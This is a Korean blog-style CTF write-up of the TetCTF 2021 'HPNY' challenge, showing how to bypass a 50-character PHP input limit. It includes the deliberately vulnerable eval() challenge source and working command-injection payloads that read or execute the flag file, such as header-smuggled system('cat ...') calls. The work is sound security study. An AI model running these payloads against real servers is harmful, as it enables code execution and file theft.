ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • PHP 입력 길이 제한 우회
    Study/Web 2021. 1. 9. 01:48
    728x90

    # TetCTF 2021 _ HPNY (문제 참고)

     

    해당 문제는 Command Injection 문제로,

    읽어야하는 파일 이름의 길이가 'fl4g_here_but_can_you_get_it_hohoho.php' 로 상당히 길다.

    그러나, 입력 값은 50미만으로 길이가 제한되어 있기 때문에 파일 이름을 그대로 입력할 수 없는 문제이다.

     

    해당 부분의 소스 코드는 아래와 같다.

    $wl = preg_match('/^[a-z\(\)\_\.]+$/i', $_GET["roll"]);
    
    if($wl === 0 || strlen($_GET["roll"]) > 50) {
    	die("bumbadum badum");
    }
    eval("echo ".$_GET["roll"]."();");

     

    길이 제한을 우회하여 Flag를 얻기 위해서는 PHP의 내장 함수를 잘 이용하여야 한다.

    해당 문제의 페이로드를 통해 길이 제한을 우회할 수 있는 방법을 알아보자.

     

    1. 파일 이름을 사용하지 않고 파일에 접근

     

    - show_source(next(array_reverse(scandir(__DIR__))))

    *next() : 배열에서 다음 요소로 포인터 이동
    *scandir() : 지정된 폴더 내의 파일 및 폴더 정보 반환
    *getcwd() : 현재 작업 중인 디렉토리 경로 출력
    *__DIR__ : 현재 디렉토리의 절대 경로 출력 (PHP 상수로 5.3이상부터 사용 가능, dirname(__FILE__))

     

    2. getallheader() 함수 이용, header를 통해 파일 이름 전달

     

    *getallheader()
    모든 HTTP 요청 헤더를 가져오는 함수로, apache_request_headers() 함수의 별칭이다.
    따라서, PHP를 Apache로 사용하고 있는 경우에만 사용이 가능하다.

    - eval(implode(getallheaders()))
      header 값 추가 => Flag: eval(system('cat fl4g_here_but_can_you_get_it_hohoho.php'));

    - show_source(array_pop(getallheader()))
      header 값 추가 => Flag: fl4g_here_but_can_you_get_it_hohoho.php

    *array_pop() : 배열의 마지막 값을 pop 시켜 반환 (배열 크기가 1씩 줄어듦)

     

    그 외에 간단히 알아본 PHP 내장 함수는 다음과 같다.

     

    1) PHP 파일 읽기
    - show_source()
    - readfile()
    - system(cat \$file_name)
    - file_get_content()
    - implode('', file(\$file_name));

    *implode() : 배열의 값을 하나의 문자열로 변환

    2) PHP 명령어 실행
    - system()
    - exec()
    - passthru()

    명령어 결과 값의 마지막 줄을 반환

    3) 배열/객체 문자열로 출력
    - print_r(\$array_name)
    - var_dump(\$array_name)
    - var_export(\$array_name)

    본 문제에서는 scandir의 정보를 출력할 때 사용할 수 있다.

     


     

    [ TetCTF2021 _ HPNY Source Code ]

    <?php
    
    function get_lucky_word() {
        $words = array("Chuc mung nam moi", "gongxifacai", "happy new year!", "bonne année", "Akemashite omedeto gozaimasu", "Seh heh bok mahn ee bahd euh sae yo", "kimochi", "Feliz Año Nuevo", "S novim godom", "Gelukkig Nieuwjaar", "selamat tahun baru", "iniya puthandu nal Vazhthukkal");
        return $words[array_rand($words)];
    }
    
    function get_lucky_number() {
        $numb = rand(0,100);
        return strval($numb);
    }
    
    
    if(!isset($_GET["roll"])) {
        show_source(__FILE__);
    }
    else
    {
        $wl = preg_match('/^[a-z\(\)\_\.]+$/i', $_GET["roll"]);
    
        if($wl === 0 || strlen($_GET["roll"]) > 50) {
            die("bumbadum badum");
        }
        eval("echo ".$_GET["roll"]."();");
    }
    
    ?>
    반응형

    'Study > Web' 카테고리의 다른 글

    [MongoDB] ObjectId 란?  (0) 2021.06.27
    [HTTP] Basic Authentication _ .htpasswd  (0) 2021.03.08
    [HTTP] Header : X-Forwarded-For (XFF)  (0) 2021.02.09
    [PHP] WAF Bypass : Non-Alphabets Code  (0) 2021.01.11
    PHP 입력 길이 제한 우회  (0) 2021.01.09

    댓글 0

@Jo Grini's Blog